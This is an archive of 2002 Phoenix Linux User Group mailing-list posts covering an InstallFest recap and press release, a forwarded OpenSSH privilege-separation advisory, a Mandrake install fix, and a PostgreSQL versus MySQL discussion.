"unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:35:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 19:35:43 -0700 Subject: Post press release started? In-Reply-To: References: Message-ID: <1024972543.3d17d6ff5913d@webmail.freedom2surf.net> Quoting alandd@mindspring.com: > I think we need to get a celebratory press release out really soon. The > interest of the news in a press release goes down rapidly every day after > the > even. I think we need to post one by tomorrow. Has someone started one? > > Alan > OK, here's a crude start. Someone help round it out and find a good photo we can send along with it - Something tightly cropped showing a PLUG member helping with an install would be good. Dennis ========================================. The Phoenix Linux User Group "InstallFest" a success says organizer!! Held at SCC this past Saturday from 10am to 4pm "People came early and stayed to learn about Linux and install it on their computer with the help of a PLUG member." said Bill Lindley the InstallFest co-ordinator. In all 39 installations were done on a wide variety of hardware. It was a great experience" said WS of Goodyear, "There was always someone willing to answer my questions about Linux." Linux is the free OS that offers an alternative the Apple and Microsoft. Joining the PLUG members were representaives from redhat, Lycoris, There were plenty of door prizes, too. Plug has monthly eastside and westside meetings. Those new to Linux are welcome.~ ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:56:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Mon, 24 Jun 2002 21:56:25 -0500 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <20020625005208.GA31017@aries.evilmascot.com>; from kyle@kyleo.net on Mon, Jun 24, 2002 at 05:52:08PM -0700 References: <3D17AC36.8020104@deru.com> <20020625005208.GA31017@aries.evilmascot.com> Message-ID: <20020624215625.A70178@lilly.csoft.net> Yes, OpenBSD has sshd running by default. In fact, I have often wondered why they never included something like "ALL:ALL" in a /etc/hosts.deny file. v/r Mike On Mon, Jun 24, 2002 at 05:52:08PM -0700, Kyle O'Malley wrote: I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Mon, 24 Jun 2002 20:00:59 -0700 (PDT) Subject: Kernal Panic fix for Mandrake 8.2 Install Message-ID: <20020625030059.49339.qmail@web20602.mail.yahoo.com> To those who were at the InstallFest: I went to the InstallFest to get help on my problem with loading Mandrake 8.2. People helped as much as they could, but I came up with no solutions. I have a ProStar 5190S laptop which PREVIOUSLY had Mandrake 7.2 on it. Now, . . . I have Mandrake 8.2 loaded on it. For those of you who MAY have a problem loading Mandrake 8.2 on your computer/laptop and you come up with a "Kernel Panic" error on install. When it comes to the Pre-Install screen. Go to help and type in linux(expert) and the amount of memory you have. Seemingly, Mandrake 8.2 had an issue with recognizing the amount of RAM I had. I had to specify it. After that, . . . it loaded PERFECTLY. :-). To those that helped me, thanks. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:09:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Mon, 24 Jun 2002 20:09:04 -0700 Subject: Install Fest Leftovers References: <02062411335104.07972@nova.wedge.org> Message-ID: <3D17DED0.20100@earthlink.net> I'd like to get my stuff back. Can I arrange a time to pick them up? 2 - AT Style keyboards 1 - Serial Mouse 1- PS/2 Mouse 1 - 16 port 10BaseT hub. Thanks, Ben Chacko Jim wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >OK - I have two meeses and a keyboard and two multiport hubs that I took home >from the Install Fest. The owners can either claim them (I know who you are) >or rest assured that they have found a good home. >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak >uK4OiqqB4g+PwczG1TTkv5du >=J8I2 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 03:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Mon, 24 Jun 2002 20:41:39 -0700 Subject: Linux At Work Message-ID: <001e01c21bfa$37703670$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Report from Work. Today our office got hit with a virus of some kind, I'm not sure exacty = the mechanism, but the SonicWall cut everyone off from the internet for = 15-20 minutes and since most of what we do requires constant acces to = the web, every one had to stop working, everyone but me that is as I was = using my linux work station. Regards, Charlie ------=_NextPart_000_001B_01C21BBF.8A2AA7F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
New Report from Work.
 
Today our office got hit with a virus = of some kind,=20 I'm not sure exacty the mechanism, but the SonicWall cut everyone off = from the=20 internet for 15-20 minutes and since most of what we do requires = constant acces=20 to the web, every one had to stop working, everyone but me that is as I = was=20 using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_001B_01C21BBF.8A2AA7F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:12:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 24 Jun 2002 21:12:34 -0700 (MST) Subject: PostgreSQL versus MySQL (fwd) Message-ID: In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 04:20:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 21:20:00 -0700 Subject: Linux At Work References: <001e01c21bfa$37703670$6400a8c0@amd1000> Message-ID: <001c01c21bff$9277cb50$2f7c0d82@peyote> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable nice job, "BRAVO"!!!!!=20 so my guess, is that upper management has a slighty different view on = Linux now. but then again thats exactly what i would expect to happen in = a situation like that. slr ----- Original Message -----=20 From: Charlie Bullen=20 To: plug-discuss@lists.plug.phoenix.az.us=20 Sent: Monday, June 24, 2002 8:41 PM Subject: Linux At Work New Report from Work. Today our office got hit with a virus of some kind, I'm not sure = exacty the mechanism, but the SonicWall cut everyone off from the = internet for 15-20 minutes and since most of what we do requires = constant acces to the web, every one had to stop working, everyone but = me that is as I was using my linux work station. Regards, Charlie ------=_NextPart_000_0019_01C21BC4.E5ECB330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
nice job, "BRAVO"!!!!!
so my guess, is that upper=20 management has a slighty different view on Linux now. but then = again thats=20 exactly what i would expect to happen in a situation like = that.
 
slr
----- Original Message -----
From:=20 Charlie=20 Bullen
To: plug-discuss@lists.= plug.phoenix.az.us=20
Sent: Monday, June 24, 2002 = 8:41 PM
Subject: Linux At Work

New Report from Work.
 
Today our office got hit with a virus = of some=20 kind, I'm not sure exacty the mechanism, but the SonicWall cut = everyone off=20 from the internet for 15-20 minutes and since most of what we do = requires=20 constant acces to the web, every one had to stop working, everyone but = me that=20 is as I was using my linux work station.
 
Regards,
 
 
Charlie
------=_NextPart_000_0019_01C21BC4.E5ECB330-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 05:08:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 22:08:17 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: References: Message-ID: <15639.64193.770462.651095@bela.interhack.net> Thanks to those who responded on the question of PostgreSQL versus MySQL. I was not aware that PostgreSQL was as fully developed as it is. As it happens, the application we have in mind is actually fairly simple, so either one is adequate, and since the people I'm working with favor PostgreSQL, and it's already available on their systems, that's what it will be. That's great, because I get to learn something new I can add to my resumé! -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:01:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 24 Jun 2002 23:01:04 -0700 Subject: PLUG searchable database In-Reply-To: <15639.64193.770462.651095@bela.interhack.net> References: <15639.64193.770462.651095@bela.interhack.net> Message-ID: <200206242301.05046.alandd@mindspring.com> The searchable PLUG email archives were hosted at www.aztechbiz.com. This site is no longer up. Did the searchable database get hosted somewhere else? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:03:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 18:03:11 -0700 Subject: Another Linux at Work story Message-ID: <200206211803.11628.wokan@cox.net> My boss came in to ask me for some info from our site and I happened to have a SQL interface up in my window. He'd never seen Window-shade mode before (and we both tend to work with a lot of windows "open"), much less Linux on a desktop, so when he asked if I could set up his computer to do that, I told him to let me convert more of my work to be done on my Linux system before I dove into teaching him a new OS. He said he really didn't want to learn anything new. He works with a lot of spreadsheets, so I explained the biggest difference would be that OpenOffice tends to use semi-colons where Excel uses commas in formulas. Turns out he doesn't even use functions for most of what he does. He just sends a bunch of figures out to the head office and lets them do all the crunching. I figure with a few more lockups in Excel, or IE freezes, or another large batch of infected email warnings comes in (thankfully the hosts keep the scanner up-to-date), and we've got a ready and eager convert on our hands. (Now if I could just find myself an MS SQL Enterprise Manager that runs on Linux. Maybe with wine...) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 24 Jun 2002 23:47:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <1024987633.29452.248.camel@hawk> hmmmm... I think I remember Eric posting that they had to change domain names. (though I don't remember what it was changed *to* sorry). Carl P. On Mon, 2002-06-24 at 23:01, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. This > site is no longer up. Did the searchable database get hosted somewhere else? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 24 Jun 2002 23:45:12 -0700 Subject: PLUG searchable database In-Reply-To: <200206242301.05046.alandd@mindspring.com> References: <15639.64193.770462.651095@bela.interhack.net> <200206242301.05046.alandd@mindspring.com> Message-ID: <200206242345.12327@granroth.org> On Monday 24 June 2002 11:01 pm, Alan Dayley wrote: > The searchable PLUG email archives were hosted at www.aztechbiz.com. > This site is no longer up. Did the searchable database get hosted > somewhere else? This isn't an answer to your question, but I always do searches on the PLUG archives using google. I just append "site:pluglist.mybutt.net" and it's as good as having a Search feature right on the email archives. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:45:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Mon, 24 Jun 2002 23:45:00 -0700 Subject: RH 7.3 Message-ID: <3D18116C.1040804@cox.net> Just installed RedHat 7.3 on a Dell Inspiron 8000 Laptop. Technically it's a work Laptop, so I still need to dual boot with win2k. :-( I already had win2k installed on a small partition. Install went super smooth. During install they post all sorts of trivia and stuff. Useless but still very polished and well done. Install Auto-configured grub to dual boot with win2k. Install Auto detected Linksys Wireless card - didn't even have to enter essid or channel. Not sure if it detected Nvidia GeForce Go chipset as I manually set up the latest nvidia drivers. Funny thing, after installing the kernal rpm it gave a message to the effect of "Tainting kernel with non-GPL module - success" hehe.... Anyway, just thought I'd post an outstanding install experience. I was really impressed how polished and smooth it was. Now I'm gonna try out some of the new goodies... From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 07:46:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 25 Jun 2002 00:46:16 -0700 (PDT) Subject: Linux At Work In-Reply-To: <001c01c21bff$9277cb50$2f7c0d82@peyote> Message-ID: <20020625074616.62236.qmail@web13904.mail.yahoo.com> I second this. That is just beautiful! mike --- slr wrote: > nice job, "BRAVO"!!!!! > so my guess, is that upper management has a slighty > different view on Linux now. but then again thats > exactly what i would expect to happen in a situation > like that. > > slr > ----- Original Message ----- > From: Charlie Bullen > To: plug-discuss@lists.plug.phoenix.az.us > Sent: Monday, June 24, 2002 8:41 PM > Subject: Linux At Work > > > New Report from Work. > > Today our office got hit with a virus of some > kind, I'm not sure exacty the mechanism, but the > SonicWall cut everyone off from the internet for > 15-20 minutes and since most of what we do requires > constant acces to the web, every one had to stop > working, everyone but me that is as I was using my > linux work station. > > Regards, > > > Charlie > __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 12:26:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Tue, 25 Jun 2002 05:26:02 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D18615A.D1189BFD@cox.net> FWIW The idiot's name was actually David Grundman, the saguaro sent him to his just reward in 1982, and the song was performed by the Austin Lounge Lizards. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 13:03:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 06:03:50 -0700 Subject: The Ballad of David Grunman In-Reply-To: <3D18615A.D1189BFD@cox.net> References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D18615A.D1189BFD@cox.net> Message-ID: <1025010230.3d186a366ff13@webmail.freedom2surf.net> Quoting Lee Einer : > FWIW > > The idiot's name was actually David Grundman, the saguaro sent him to > his just reward in 1982, and the song was performed by the Austin > Lounge Lizards. > -- > Lee Einer Thanks Lee. Having the spelling right (name changed to protect from law suits?) brought uo a number of references on Google. Dennis PS - I checked out your site, you do nice work. ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:02:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug@unfm00.com) Date: Mon, 24 Jun 2002 18:02:20 -0400 Subject: Test Message-ID: This is a test of the National Emailing System. This is only a test. Thank you BEEEEEEEP. This concludes my test, Thank you. jon k. -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 24 Jun 2002 10:26:01 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <3D175629.9040900@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address(linux@esaravana.com). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address(linux@esaravna.com), rather than as my aliased e-mail address(adrenaline@esaravana.com) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 06:41:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Igor) Date: Mon, 24 Jun 2002 23:41:12 -0700 Subject: please, help her Message-ID: <3D181088.FF6BA22@telocity.com> Hi I've found your e-mail address on this page http://plug.phoenix.az.us/ I've have a friend in Phoenix who is fed up with stability of the WINDOWS and constant fight with the VIRUSES. ( she lost alle-mails, family photos etc etc ) I've suggested her to try LINUX...but, unfortunately, she does not know to install it by her self... Personally, I think, installing mandrake should not be a problem but this is another story... so, can you help her out ? or perhaps some of your friends ? running REALPLAYER is a MUST (+ mozilla 1.0) Her PC should be DUAL BOOT... preferably MANDRAKE + WINDOWS ME ( which is on her box right now) her address: MaryPat McDonald mpmcd@qwest.net or usamacka@hotmail.com Regards Igor P.S.: I can not help her, because I live in San Jose, California (Silicon Valley) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:18:18 -0700 Subject: First Crack at a Post Mortem Message-ID: <20020624182048.5CF611BD74@autumn.unitywave.com> I am including it. I will put this up on the main Install Fest page, before the Press Release when everyone agrees that this is appropriate. I am also going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. Lemme know what you think of this as a post mortem. ---------- Does the word "success" ring a bell? Parking Lot A at SCC was nearly deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 a.m. the Turquoise Room was filled with PLUG members setting up the room for an unknown number of "customers". I was under the impression that all of our communications with the outside world said that the Install Fest would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from coming in early - or often.

The only problem that we encountered was finding table space to put all of the machines that were brought in to have Linux installed on. It seemed to me that by 10:30 or 11:00 we were scrambling to find a place for a customer and his PLUG installer to set up. That problem continued well into the afternoon hours. That was about the only problem that we encountered. Okay, there was a need for a blank floppy for a network install but who uses floppies any more?

There seemed to always be PLUG members ready and willing to help with the next install. During those "down" times, they spent a lot of time answering questions and helping to resolve issues. The presentations that were held in the Peridot Room seemed to go very well. I overheard a lot of comments and they were all extremely positive. The giveaways, as always, went over very well. Without the support of the vendors, we would never be able to show the newbies that Linux is about giving and sharing by giving away so many goodies. Only the RMS video in the hallway met with less than stellar success, but that may be a result of the location.

So what were the numbers? There were 107 people who signed in. There were somewhere between 150 and 200 raffle tickets that disappeared from the end of the roll. There were 39 installs. I know of at least two installs that were not completely successful, but I know that one was a hardware issue. That boils down to over six installs per hour - and that is an impressive number.

Who do we need to thank? This could be a very long list. We should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, Thurm, and Vic did a great job in covering all of the contingencies. I want to single out Thurm for providing the facilities at SCC. His head is an appropriate repository for the Red Hat fedora, because without the facilities the Install Fest would not have been as successful.

We need to thank the vendors who supported the PLUG Install Fest. You can see the list of all the supporters by clicking on the Contributors link above (it has been updated to reflect the late-commers because they deserve mentioning). I want to single out Red Hat and Lycoris. Not only did they supply merchandise for the giveaways but they also had personal representatives down in the trenches doing installs and answering questions. A tip of Thurm's new fedora to both Red Hat and Lycoris.

But I reserve the biggest THANK YOU to all the PLUG members who showed up to help doing the installs. Maybe we could have done the installs without being in the comfortable confines of the Turquoise Room. Maybe we would have had a superb turnout of customers without the tons of giveaways. But I guarantee that the whole event would have been a miserable experience if the hordes of PLUG members that did the installs and answered the questions and showed the newbies how to get more information and told them how PLUG was always ready to support them were not there. To each and every one of you, stand up and take a bow.

We did learn a few valuable lessons. We learned that we need to find a way to keep a better count of people, members, customers, and window-shoppers. We learned that we need to be prepared for a LOT of customers. We learned that we should be getting more information from the customers, especially things like where they heard about the event, what OS they are replacing or adding to, and what kinds of things they will be using the Linux computer for.

I know that there are a lot of members who were not at the Install Fest. For you, we have a couple of links to pictures taken at the Install Fest. The first one is from Thurm. See them at http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat has a large collection of pictures that he took at the Install Fest. See them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:23:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Mon, 24 Jun 2002 16:23:53 -0700 Subject: Evil Monkeys Message-ID:

I think I saw one of these lurking around the Install-Fest on Saturday.
 
 
 
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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 15:11:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 25 Jun 2002 08:11:24 -0700 Subject: PostgreSQL versus MySQL (fwd) Message-ID: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/plain; charset="iso-8859-1" In my opinion the speed difference between PostgreSQL and MySQL is negligible. Tim Perdue from SourceForge did a study a while back demonstrating that the newer PostgreSQL was actually faster than MySQL in some cases. Trigger and PL support in PGSQL is very nice and I have never been let down by PostgreSQL. PostgreSQL is the foundational database for all of my Genomics research projects. I am transparently bias on the subject because I have been burned by MySQL a few times so take that into consideration. A replication daemon for PostgreSQL is also coming along nicely. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: William Lindley [mailto:wlindley@wlindley.com] Sent: Monday, June 24, 2002 9:13 PM To: Phoenix Linux Users Group Subject: Re: PostgreSQL versus MySQL (fwd) In response to the earlier question, Scott Walters who is not on the PLUG list writes: -------- PostgreSQL supports triggers, constraints, PL, subqueries, and serveral other things. MySQL supports replication, precompiled queries (huge speed up on resident code), and is optimized for throughput in addition to speed. Both of them are very fast, and out perform almost all commercial databases, hands down. I wouldn't sweat it too much either way unless you specificly need a feature that only one or the other has. They are both excellent systems. I'd use MySQL where speed was the biggist factor. I'd use Postgres where complex reporting or building a large ("Enterprise") data warehouse was the concern. -scott ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_e3NOKOHkKZWFYpJrn6nnOg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PostgreSQL versus MySQL (fwd)

In my opinion the speed difference between PostgreSQL = and MySQL is negligible. Tim Perdue from SourceForge did a study a = while back demonstrating that the newer PostgreSQL was actually faster = than MySQL in some cases. Trigger and PL support in PGSQL is very nice = and I have never been let down by PostgreSQL. PostgreSQL is the = foundational database for all of my Genomics research projects. I am = transparently bias on the subject because I have been burned by MySQL a = few times so take that into consideration. A replication daemon for = PostgreSQL is also coming along nicely.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


-----Original Message-----
From: William Lindley [mailto:wlindley@wlindley.com]<= /FONT>
Sent: Monday, June 24, 2002 9:13 PM
To: Phoenix Linux Users Group
Subject: Re: PostgreSQL versus MySQL (fwd)


In response to the earlier question, Scott Walters = <phaedrus@illogics.org>
who is not on the PLUG list writes:

--------

PostgreSQL supports triggers, constraints, PL, = subqueries, and serveral
other things.

MySQL supports replication, precompiled queries (huge = speed up on resident
code), and is optimized for throughput in addition = to speed.

Both of them are very fast, and out perform almost = all commercial
databases, hands down.

I wouldn't sweat it too much either way unless you = specificly need a
